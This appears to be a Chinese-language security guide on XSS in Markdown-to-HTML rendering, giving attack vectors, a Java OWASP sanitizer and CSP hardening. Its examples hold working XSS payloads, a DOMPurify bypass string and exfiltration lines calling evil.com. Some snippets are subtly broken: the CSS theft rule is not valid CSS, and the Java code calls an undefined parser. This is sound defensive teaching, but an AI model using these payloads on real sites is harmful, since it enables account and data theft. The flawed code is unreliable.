XSS（跨站脚本攻击）#

风险分析：

Markdown 转换为 HTML 的过程中，可能存在以下 XSS 向量：

1. HTML 标签注入：

   <script>alert('XSS')</script>

2. 图片事件注入：

   ![xss](x" onerror="alert('XSS'))

3. 链接协议注入：

   [click](javascript:alert('XSS'))

4. 样式表注入：

   <style>@import url('http://evil.com/xss.css')</style>

5. DOMPurify 绕过（如果使用了但不正确）：

   <math><mtext><table><mglyph><style><img src=x onerror=alert(1)>//先绕过

防护方案：

1. 使用安全的 Markdown 解析器：

   • 解析前禁用脚本执行
   • 使用 DOMPurify 二次净化

2. 白名单 HTML 标签：

   • 只允许 p, strong, em, a, img, code, blockquote 等安全标签
   • 禁止 <script>, <style>, <iframe>, <object>, <embed>

3. 属性白名单：

   • 只允许 href（且必须是 http:// 或 https://）
   • 只允许 src（且必须是图片域名）
   • 禁止 on* 事件处理器

4. 输出编码：

   • 对 Markdown 内容进行 HTML 编码
   • 特别注意 &, <, >, ", ' 这几个字符

5. CSP 策略：

   Content-Security-Policy: default-src 'self'; img-src 'self' cdn.example.com;

推荐实现：

import org.owasp.html.PolicyFactory;
import org.owasp.html.Sanitizers;

// 定义安全的 HTML 策略
public class MarkdownSanitizer {
    
    private static final PolicyFactory POLICY = 
        new HtmlPolicyBuilder()
            .allowElements("p", "br", "strong", "em", "b", "i", "code", 
                          "pre", "blockquote", "ul", "ol", "li", "a", "img", "h1", "h2", "h3")
            .allowAttributes("href").onElements("a")
            .allowAttributes("src", "alt", "title").onElements("img")
            .allowUrlProtocols("http", "https")
            .allowAttributes("class").onElements("p", "li", "code", "pre")
            // 禁止所有事件处理器
            .toFactory();
    
    /**
     * 清理用户提交的 Markdown 转换后的 HTML
     */
    public static String sanitize(String html) {
        // 先解析 Markdown
        String markdownHtml = markdownParser.parse(html);
        
        // 再进行 HTML 净化
        return POLICY.sanitize(markdownHtml);
    }
}

CSP 对 XSS 的防护效果：

CSP 可以显著降低 XSS 的危害，但并非万无一失。即使有严格 CSP，存储型 XSS 仍然可能造成严重危害。

CSP 无法防护的场景：

1. HTML 注入型 XSS（不依赖脚本）：

   <!-- 即使无法执行脚本，仍然可以篡改页面 -->
   <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999">
     <h1>此网站已被入侵，请联系 XXX</h1>
   </div>

2. CSS 注入窃取数据：

   /* 通过 CSS 选择器窃取数据 */
   input[name="password"] {
       background-image: url("http://evil.com/steal?p=" + input.value);
   }

3. 点击劫持（CSP 无法防护）：

   <style>
       body { opacity: 0.01; }
       button { position: relative; top: 200px; }
   </style>
   <button onclick="doSomething()">Click me</button>

4. DOM clobbering：

   <form id="config">
     <input id="apiUrl" value="http://evil.com/api">
   </form>
   <script>
       // 如果代码使用 config.apiUrl，攻击者可以利用
       console.log(config.apiUrl.value); // http://evil.com/api
   </script>

5. CSP 绕过方法：

   • nonce 或 hash 误用： 如果 CSP 配置为 script-src 'nonce-xxx'，但页面某处意外将 nonce 值泄露到 URL 或日志中，攻击者可以配合 XSS 使用。

   • JSONP 端点： 如果允许 script-src 'self'，但页面加载了 JSONP 接口，该接口可能被滥用执行脚本：

     // 恶意 JSONP 响应
     callback("<script>alert('XSS')</script>");

   • 宽松的 CSP 配置：

     Content-Security-Policy: script-src 'self' 'unsafe-eval' https://trusted-cdn.com

     'unsafe-eval' 允许 eval() 执行动态代码，trusted-cdn.com 如果存在 XSS，也会导致 CSP 被绕过。

应对措施：

1. CSP 与其他防护的组合：

   • 输入验证 + 输出编码（根本防护）
   • CSP（纵深防御）
   • HttpOnly Cookie（防止 JavaScript 访问）
   • SameSite Cookie（防止 CSRF 配合 XSS）

2. 强化 CSP 配置：

   Content-Security-Policy: 
     default-src 'self';
     script-src 'self';
     object-src 'none';
     base-uri 'self';
     form-action 'self';
     frame-ancestors 'none';
     upgrade-insecure-requests;

3. 禁止内联样式（防止 CSS 注入）：

   Content-Security-Policy:
     style-src 'self' 'nonce-{random}';

4. 定期安全测试：

   • 即使有 CSP，也要定期进行 XSS 渗透测试
   • 测试 CSP 配置的健壮性

结论：CSP 是重要的纵深防御措施，但不应被视为 XSS 的终极解决方案。根本防护仍然依赖于正确的输入验证和输出编码。